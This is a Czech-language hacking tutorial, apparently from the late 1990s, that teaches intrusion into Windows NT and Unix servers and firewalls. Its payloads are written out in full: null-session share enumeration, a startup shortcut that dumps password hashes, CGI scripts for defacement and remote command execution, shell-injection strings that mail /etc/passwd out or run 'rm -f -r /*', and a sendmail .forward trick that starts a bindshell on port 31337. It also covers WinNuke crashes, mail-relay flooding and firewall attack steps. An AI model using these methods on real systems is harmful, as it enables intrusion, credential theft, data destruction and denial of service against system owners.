Základy hacku
Jak se dá prohlížet obsah pevného disku počítače, který je třeba na druhém konci Světa? Budete se divit, ale i to je možné, pokud máte přístup k Internetu. V rámci lokální sítě se můžete napojit na jiný počítač v síti prostřednictvím příkazu Připojit síťovou jednotku. Syntaxe je taková \\server\síťová_jednotka ( server - název serveru v lokální síti nebo IP adresa, síťová jednotka - název sdíleného prostředku) . Pravděpodobně se vás systém zeptá na jméno + heslo, kde musíte obvykle zadat jméno a heslo některého z administrátorů. Pevný disk c: se dá obvykle připojit jako \\server\c$ a u disku d je to \\server\d$ nebo někdy \\server\d . Někdy však administrátoři systému dávají síťovým jednotkám jiný název, aby ztížili hackerům práci. Existují však programy, které dokáží získat seznam síťových jednotek ( YAPS, Internet scanner...). Ale abych se vrátil k původní otázce... Ne všichni vědí, že stejným způsobem , jako si připojujete síťovou jednotku v lokální síti, si můžete připojit i server z jiného konce Světa. Syntaxe je podobná, jen s tím rozdílem, že místo názvu serveru použijete jeho IP Adresu , tedy například: Jak zjistit názvy síťových jednotek pomocí příkazového řádku? Ano i to je možné, a to pomocí takzvané Null session. Spusťte si tedy příkazový řádek a napište: net use \\195.212.221.138\ipc$ "" /user:"" (uvedená IP adresa slouží samozřejmě pouze jako příklad). Pokud se vám objeví hláška command completed sucessfull nebo Příkaz byl dokončen úspěšně, máte vyhráno. Pak už jenom stačí napsat: net view \\195.212.221.138 ... a zobrazí se vám seznam síťových jednotek ( bohužel ne skrytých ). Jak zjistit IP adresu z klasické internetové adresy? Abyste si mohli připojit síťový adresář na vzdáleném počítači, musíte vědět jeho IP adresu. Nemůžete použít jmennou adresu. To však není žádný problém, víte-li jeho internetovou adresu. Spusťte si příkazový řádek a napište příkaz ve formátu : nslookup www.adresa.cz Tento příkaz by vám měl vypsat IP adresu daného serveru. Dá se zneužít přístupu obyčejného uživatele ke složce All Users? All Users je adresář, ve kterém se dají nastavovat společná nastavení pro už ivatele systému. Pokud například umístíte zástupce nějakého programu do c:\winnt\profiles\All users\Plocha\Nabídka Start\Po spuštění spustí se tento program všem uživatelům, kteří se na daném počítači přihlásí. Můžete tedy například umístit zástupce programu samdump s několika úpravami. Klikněte na zástupce pravým tlačítkem a vyberte Vlastnosti. Pokud máte samdump.exe na c: pak napište do okna Cíl: c:\samdump.exe > c:\dump.txt a v nabídce Spustit vyberte volbu Minimalizované. Když se pak na počítači přihlásí uživatel s administrátorskými právy, program se spustí a získá z databáze hesel z registrů zašifrovaná hesla uživatelů a uloží je do souboru dump.txt na c: Jak jsem si všiml podle souborů s příponou *.asp tak asi používáte jako www server produkt firmy Microsoft Internet information server pracujícím pod Win NT. Zde jsou možnosti napadení skutečně veliké. 1.Program s názvem WinNuke dokáže dálkově restartovat server běžící pod win NT.Ovládání programu je ďábelsky jednoduché.Stačí zadat adresu počítače běžící pod win NT.Účinek je rychlý a smrtící.Během několika sekund se Win NT zřítí,veškeré data v paměti RAM jsou zničena a celý počítač se restartuje.Tyto restarty se opakují stále pokud nezasáhne administrátor. Tento problém řeší Service Pack 3.Rychle ho aplikujte. 2.Asi nejznámější chybou v MS IIS je to že stačí napsat pekelně dlouhé URL (mezi 4kB až 8kB)a server se zablokuje.To jsou služby www,gopher a FTP. 3.Jak najít díru v Index serveru?.Jedna z komponent Hit Counter funguje opravdu zvláštně.Umožňuje číst soubory které jinak číst nejdou. Pokud se jedná o skript ASP,který může obsahovat heslo k serveru SQL je útočník v půli cesty průniku do systému.Získat ho lze pomocí skriptů které jsou nainstalovány jako příklady: http://jmeno_serveru/samples/search/queryhit.htm S omezením vyhledávání pouze na soubory ASP:"#filename=*.asp". 4.Další tip.Red Buttom je program který využívá portů 137,138 a 139 na počítači s nainstalovanými Win NT.Tento program čte registry,umožňuje zjistit jména všech sdílených (i skrytých)zdrojů na serveru a vytvoří nový sdílený zdroj přístupný skupině everyone,tj opravdu kohokoli. Lze takto získat soubory uložené na lokálním disku v četně šifrovaných hesel.Další možnosti této utility jsou odborníkovi jasné. 5.Jak vytížit CPU na 100%?. Jde o chybu v RPC.Pokud se někdo přihlásí na server NT telnetem na porty 53,135 nebo 1031,napíše asi 10 znaků, stiskne enter a ukončí telnet,Windows NT najednou začnou mít tolik "práce",že zatížení CPU stoupne na 100%.Pokud na systému běží i DNS server,lze napadnout i tuto službu a vyřadit ji z činnosti. 6.Starším předchůdcem chyby v MS Index Serveru je chyba v MS IIS ve spojení s ASP (active server pages).ASP jsou programy která interpretuje www server.Kromě vlastního kódu mohou obsahovat i hesla k serveru SQL.apod. Typická cesta k nějakému souboru ASP je např. http://server_name/default. Skript na této stránce je interpretován MS IIS a výsledek je předán vašemu prohlížeči.Pokud toto URL trochu modifikujete,např na http://server_name/default.asp.(všimněte si tečky na konci!),je místo toho zobrazen samotný program.Kdokoli ho může stáhnout,přečíst. No tak to by snad stačilo k Windows NT. Teď se podíváme na UNIX(LINUX). Tady není situace jednoduchá.Tento stařec již má všechny mouchy vychytané. Není to jednoduché, spíš je to téměř nemožné, je-li zde vše dobře nastavené. Jak dálkově změnit WWW stránku? Je to vůbec možné? Při troše štěstí ano. Jak tedy na to? Nejprve si vytvoříme svůj hacknutý soubor index.html a speciální CGI script.V UNIXU bývají v adresáři /home/ftp/incoming/ nastavena přístupová práva na rwxrwxrwx to je právo zápisu všem. Do tohoto adresáře pomocí FTP přeneseme tyto dva soubory.To je index.html a např.hack.cgi.Důležitý je program který je v cgi scriptu tady je: #!/bin/sh echo 'Content-Type: text/html' echo cp /home/ftp/incoming/index.html /www/htdocs/ Jednoduché že.Ale má to problém,musíme dostat nějakým způsobem tento cgi script do adresáře kde je povoleno provádění CGI scriptů nejčastěji cgi-bin.Toto se nastavuje v souboru httpd.conf direktivou ScriptAlias. Jinak aby bylo jasno je řeč o WWW serveru Apache kterých pracuje pod UNIXEM většina.Ten je reprezentován souborem httpd. Podaří-li se nám dostat tent o cgi script do tohoto adresáře stačí jenom napsat ve vašem prohlížeči URL k tomuto cgi scriptu a stisknout enter. Ale to ještě není vše.WWW server musí pracovat jako root.To nastavuje správce opět v souboru httpd.conf.A kořen dokumentů musí být umístněn v adresáři /www/htdocs/. Ještě jeden tip.Instalujeme-li server Apache tak vytvoří automaticky adresář cgi-bin ve kterém je standardně umístněn script s názvem test-cgi. Tento skript by měl správce serveru odstranit,protože poskytuje důležité informace případnému útočníkovi. Je-li tento skript přítomen stačí napsat toto URL: http://jmeno_serveru/cgi-bin/test-cgi poté se na obrazovce prohlížeče objeví zajímavé informace o serveru Apache. Další možností je odhalit bezpečnostní díru v CGI skriptu.Jak na to? Objeví-li se nám na řádku např.URL http://www.firma.cz/cgi-bin/jmeno.cgi? můžeme na konec přidat toto: http://www.firma.cz/cgi-bin/jmeno.cgi?;who Středník je nebezpečný znak a může způsobit při špatně napsaném cgi skriptu to že se provede příkaz zapsaný na ko nci řádku.V tomto případě příkaz who. Ale může to být třeba cat /etc/passwd. Dále bych se chtěl ještě zmínit o CGI scriptu který umožňuje vzdálené zadávání příkazů operačnímu systému UNIX(LINUX) přes WWW prohlížeč. Používá značky ISINDEX.Opět tento CGI script musí být umístněn v adresáři kde je povoleno spouštění CGI scriptů.Většinou CGI-BIN. Zde je: #!/bin/sh echo "Content-type: text/html" echo echo '' echo '' echo '' echo ' This is a searchable index. Enter search keywords: ' $1 Tento CGI script když se nám podaří propašovat nějakým způsobem do adresáře CGI-BIN a napíšeme k němu ve svém prohlížeči cestu,tak nám nabídne textové pole do kterého můžeme zadávat příkazy.Např.ls;ps;cat ale třeba i halt pracuje-li www server Apache jako root.Co tento příkaz způsobí je zřejmé z jeho názvu. Jinak jestli hacker potřebuje zjistit jaký www server používá vzdálený systém,žádný problém.Použijeme telnet,ale ne ten co je ve Windows 95 Musíme použít takový který umožňuje připojování na různé porty.Nejlepší je samozřejmě int eraktivní telnet z linuxu.Takže se připojíme na port 80: % telnet 193.179.4.2 80 Poté zadejte GET / announclist.html HTTP/1.0 Měli byste dostat odpověď velmi rozsáhlou. IP adresu jsem si vymyslel ale je to adresa http://www.hrad.cz (aktuální). Když jsem u telnetu tak to je samozřejmě standardní hackerský program. Lze se připojovat na různé porty a zkoušet zadávat různé textové i netextové řetězce a pokoušet se proniknout do systému.Nejznámější je samozřejmě SMTP server který pracuje na portu 25 kde naslouchá.Jedná se o program sendmail spuštěný jako démon.Tento program bývá na některých systémech kompilován se vzdáleným ladícím přístupem - zadáme: % telnet 193.179.4.2 25 Trying 193.179.4.2 .... Connected to 193.179.4.2 Escape character is '^]'. 220 192179.4.2 Sendmail 4.1/1.36 ready at Mon, 15 Jun 97 09:51:56 EDT Pak zadáme příkaz: debug Jestliže budete dotázáni na heslo máte naději. Když jsme u elektronické pošty je potřeba se na ní podívat trochu více. Posláním vhodného emailu nezkušenému uživateli lze získ at jeho přístupová hesla.Např.tento html dokument odešle na váš email přístupové heslo vzdáleného uživatele.Samozřejmě pokud to vzdálený uživatel neprokoukne. Pomocí elektronické pošty lze i Internet zahltit.Při psaní emailové adresy lze přikázat kudy má dopis jít. Používá se následující formát: uživatel%doména1@doména2 Dopis je dopraven k cílovému poštmistrovi pro doménu "doména2".Ten se podívá na uživatelskou část a uvidí v ní %.Odtrhne z adresy zavináč a vše za ním, poslední procento nahradí zavináčem a odešle dopis na vzniklou adresu. Díky tomuto mechanizmu můžeme diktovat kudy má dopis projít. Domén můžeme uvést veliké množství.Jestliže se domluví více hackerů a sítí se přenáší velké objemy dat,např.binární soubory o velikosti asi 500KB přes obrovské množství serverů,lze celou Internetovou doménu(např.cz), zcela zablokovat na mnoho hodin. Dále je možné se přihlásit telnetem na port 79 kde pracuje služba finger. Ta někdy umožňuje vzdálená zadávání tohoto příkazu a tím získávání informací o uživatelích na systému. Jinak je zřejmé že jestliže se vám podaří získat přístup do shelu jako root tak je vše jasné.A jestliže navíc je povoleno přihlášení uživatele root jak telnetem tak přes FTP tak není co řešit ale taková situace nastane jenom zřídka. Zde je seznam služeb standardně spuštěných na systému UNIX(LINUX). služba port ftp-data 20, ftp 21, telnet 23, SMTP 25, Whois 43, Gopher 70, Finger 79, http 80, pop-3 110. Na tyto porty je možno se připojovat telnetem a zkoušet. Hodně práce a času nám ušetří různé hackerské nástroje které jsou dostupné např.na www.security.sk nebo na www.rootshell.com Dále můžeme zkoušet pracujeme-li na LINUXU tak zvané r příkazy jedná se o rlogin,rcp,rsh. Příklad: %rlogin 193.179.4.2 a uvidíme co se bude dít. %rcp 193.179.4.2: /etc/passwd /home/ Tímto příkazem se pokoušíme zkopírovat super tajný soubor passwd na svůj systém. %rsh 193.179.4.2 ps -aux Tímto příkazem se snažíme zjistit s jakými oprávněními je spuštěn www server na vzdáleném systému. Jenom tak na okraj jestliže chcete zjist it IP adresu vzdáleného systému stačí použít program ping např. je i ve win 95: Příklad: ping www.hrad.cz Výsledek je: Pinging from 193.179.4.2:bytes=32 time 60ms TTL64 Další možnost jak napadnout vzdálený systém je program tftp napíšem: $ tftp 193.179.4.2 tftp> get /etc/passwd Error code 1: File not found tftp> quit Jestliže dostaneme takovouto odpověď máme smůlu.Služba je zakázaná Vraťme se zpátky k fenoménu dneška a to je WWW Jak známo většina internetových serverů pracuje pod systémem UNIX (LINUX).A ty používají hlavně www server Apache.Zavádející historický pokus o zabezpečení bylo to že k portům menším než 1024 se smí připojit jen superuživatel root. Jak známo tak httpd naslouchá na portu 80.To znamená že alespoň jednou musí být server spuštěn jako root.A tady je naše šance.Může se stát že administrátor spustí i kopie serveru jako root(nejnovejší verze Apache to již neumožňuje). WWW server nám pošle formulář v HTML skriptu.Náš počítač formulář interpretuje a zobrazí ho na obrazovce.My jej vyplníme a poté stiskneme tlačítko Submit.Náš počítač pak pošle formulář zpět na server,kde se vyvolá URL,k jehož konci je připojen obsah formuláře.Server je nastaven tak aby toto URL spouštělo skript přidávající obsah formuláře do souboru. Část tohoto skriptu může vypadat takto: echo "You have sent the following message: $MESSAGE" Smyslem je aby nám server poslal potvrzující hlášení,ve kterém se vše,co jsme napsali,cituje v řetězci $MESSAGE. Pokud my budeme vychytralý,napíšeme jako obsah $MESSAGE následující text: 'mail 193.179.4.2 /etc/passwd' Protože zpětné uvozovky jsou interpretem systému UNIX považovány za omezovače příkazů,může tento text mít natolik alarmující důsledek jako odeslání super tajného hesla k nám. Nebo chcete-li na serveru úplně vyčistit pevný disk můžeme napsat: 'rm -f -r /*' Ještě jedna finta.Jedná se o velmi starou fintu se souborem .forward Jestliže nemáte přístup do shellu ale jenom přes ftp,pak je to přímo ideální situace pro použití souboru .forward. Stačí uploadovat soubor.forward do domácího adresáře.Sendmail totiž standardně umožňuje execování souborů.Vyrobíme následující .forvard soubor $ cat .forward |/tmp/scriptik $ Tento soubor je třeba uploadovat do domácího adresáře.Pak si vytvoříme soubor "scriptik". $ cat scriptik /tmp/bindshell & $ Bindshell je program který hodí shell na port 31337.Aby se faily mohly exnout musí být executable.Můžeme to udělat takto: $ ftp -nv ftp> o server.provider.cz Conected to server.pro vider.cz ftp> user login heslo ftp> cd /tmp ftp> quote site chmod 755 bindshell ftp> quote site chmod 755 scriptik ftp> close Potom stačí na toto konto poslat nějaký mail.Sendmail spustí /tmp/scriptik a ten spustí bindshell. Pak se telnetem připojíme na port 31337 např. takto: $ telnet 193.179.4.2 31337 A dostanete se shellu.Pak můžete zadat tento příkaz: cat /etc/passwd > /home/ftp/incoming/ukradena_hesla Tímto se obsah tajného souboru passwd přenese do souboru ukradena_hesla v adresáři incoming. Pak na soubor passwd pustíme program John the Ripper a máme hesel dostatek. Možná i účet roota.Ještě se může stát že anonymní adresář má nastaveny práva na 777.Pak by to byl čistý vnější průnik. Část třetí-Útok na firewall(FW) Útočná metodologie uvažuje čtyři různé úrovně útoku na FW.První úroveň spočívá v pokusu o nenápadné získání informací,které mohou posloužit v další vlně útoku.Druhá úroveň útoku představuje již patrný bezprostřední sběr informací,ale ještě ne aktivní pokus o průnik do sítě.Třetí úroveň útoku s e pokouší zdolat FW a narušit za ním lokalizované klienty,přičemž toto úsilí je inicializováno z klienta vně napadené sítě.Čtvrtá úroveň útoku pak představuje pokus narušit bezpečnostní software FW,jeho konfiguraci nebo operační systém z klienta uvnitř atakované sítě. 1)První úroveň útoku. Jde o pokus získat informace o cílové síti,napadení z vnějších zdrojů tak aby se o tom cílová organizace nedozvěděla.Prvním krokem je zkontrolovat vstup do databáze na Network Information Centre (NIC).Použijeme telnet do rs.internic.net a pak zadáme příkaz whois.To nám poskytne informace o adresách a lokalitách.Bude nám to také naznačovat složitost cílových skupin sítě.Jestliže administrativní kontakt je shodný se zónou a technickým kontaktem,pak to může znamenat,že síťové skupiny mohou být v Internetu malé a relativně nové.Jestliže cílové organizace nemají svůj vlastní nameserver,pak je organizace asi malá a relativně krátkou dobu připojená do Internetu.Příkaz whois vylistuje primární a sekundární nameservery spolu s doménovým jménem. Poznámka:(lze použít i www přes http://rs.internic.net) Dalším krokem v této první úrovni je použití příkazu nslookup abychom získali maximum informací o cílové organizaci.Připojíme se raději k sekundárnímu nameserveru než k primárnímu a pokuste s e o tak zvaný zone transfer.Jestliže je zóne transfer povolen,budeme mít velice cenné informace o vnitřní cílové síti. Tak lze zjistit počet stanic a topologii cílové sítě.Zóne transwer je však ve většině sítí zakázán.Příkazem nslookup můžeme zjistit spoustu dalších informací,např.po použití příkazu set type=MX můžeme zjistit konfiguraci pošty a IP adresy poštovní serverů atd.Posledním krokem této úrovně je hledání veřejně přístupných informací o cílové organizaci.Velkým zdrojem informací mohou být výroční zprávy a obchodní publikace,spojení s jinými organizacemi atd.Tyto informace mohou být užitečné ze kterých kanálů útočit. 2)Druhá úroveň útoku. Sondování již může být objeveno cílovou organizací.Prvním krokem je pokus přenos DNS zóny z primárního name serveru,ačkoli většina organizací přenos zóny zakazuje,jak bylo řečeno výše.Ten kdo na FW útočí musí v dalším kroku vyhledat sítě a v nich konkrétní uzly.Zabere to hodně času,zvlášť pokud je síť za FW rozlehlá.Tento krok lze i při nedostatku času přeskočit Pro vyhledávání existují dvě metody. PING POKUS PŘIPOJIT SE NA TCP PORT 25 Směrovače mohou ztratit ICMP pakety,proto je žádoucí abychom posílali nejméně tři pakety na každou adresu.Osobně doporučuji pět paketů. Připojení na TCP port je pomalejší,protože spojení čeká na time-out jestliže je adresa nedostupná.Každý uzel který odpoví,je pak potenciálním bodem vstupu do vnitřní sítě.Tímto způsobem si vytvoříme seznam potenciálních uzlů (cílů) a měli bychom zjistit,jaké služby na nich běží. Předpokládá to uskutečnění připojení na každý TCP port na každé cílové stanici. 3)Třetí úroveň útoku a následující proniknutí. Tato metodologie předpokládá,že v tomto okamžiku máme k dispozici seznam uzlů a služeb vnitřní sítě z FW,teprve potom můžeme zahájit útok. Existují dva druhy útoků: a) získání přístupu do shellu FW (dokonce se můžeme stát správci systému), b) použití vzdálených služeb,které jsou k dispozici prostřednictvím FW a které změní kritické konfigurační soubory nebo modifikují služby,které běží na FW. Na FW často běží služba (např.mail démon),která není dostatečně zabezpečená Tyto služby se stanou prvním cílem útoku.Mnoho FW má slabinu syslogd,jiné dovolují spojení telnetem z adres IP externích sítí.Ještě lepší je když na FW je velký počet neaktivních účtů,které měli být dávno vymazány. Dokonce i když je FW odolný proti proniknutí z externích lokalit,vnitřní uzly a uzly v demilitarizované zóně (DMZ)jsou často přístupné z vnější sítě.Už takto kvalifikované útoky mohou způsobit nefunkčnost napadené sítě.A to nám přeci jde.Po té jsme uskutečnili veškeré útoky proti FW,je nutno obrátit pozornost na uzly v cílové síti.Zkusíme telnet popř.rlogin pokusíme se získat přístup do shellu.Další možností získání přístupu je využít slabiny v NFS,NIS a sendmailu.Velkou službu nám udělají hackerské nástroje,které jsou dostupné na mnoha FTP serverech.Proniknutí do je dnoho uzlu interní sítě akceleruje proces proniknutí do celé vnitřní sítě.Je tomu tak proto,že uzly v TCP/IP nemají mezi sebou zabezpečené vztahy. 4)Modifikace FW. Jde o napadení FW s cílem modifikovat FW,povolit volný přístup a jednoduchý přístup do vnitřní sítě.Nainstalujeme program "sniffer" do segmentu sítě, kde je FW který čeká na přihlášení administrátora. Některé hackerské programy:SATAN-program pro pátrání po bezpečnostních chybách ve www serverech. CRACK-louskač hesel. ROOTKIT-Nástroj pro privilegovaný přístup do systému UNIX (LINUX). TAP-Analyzuje packety. WINNUKE-Dálkově resetuje www servery pod Win NT.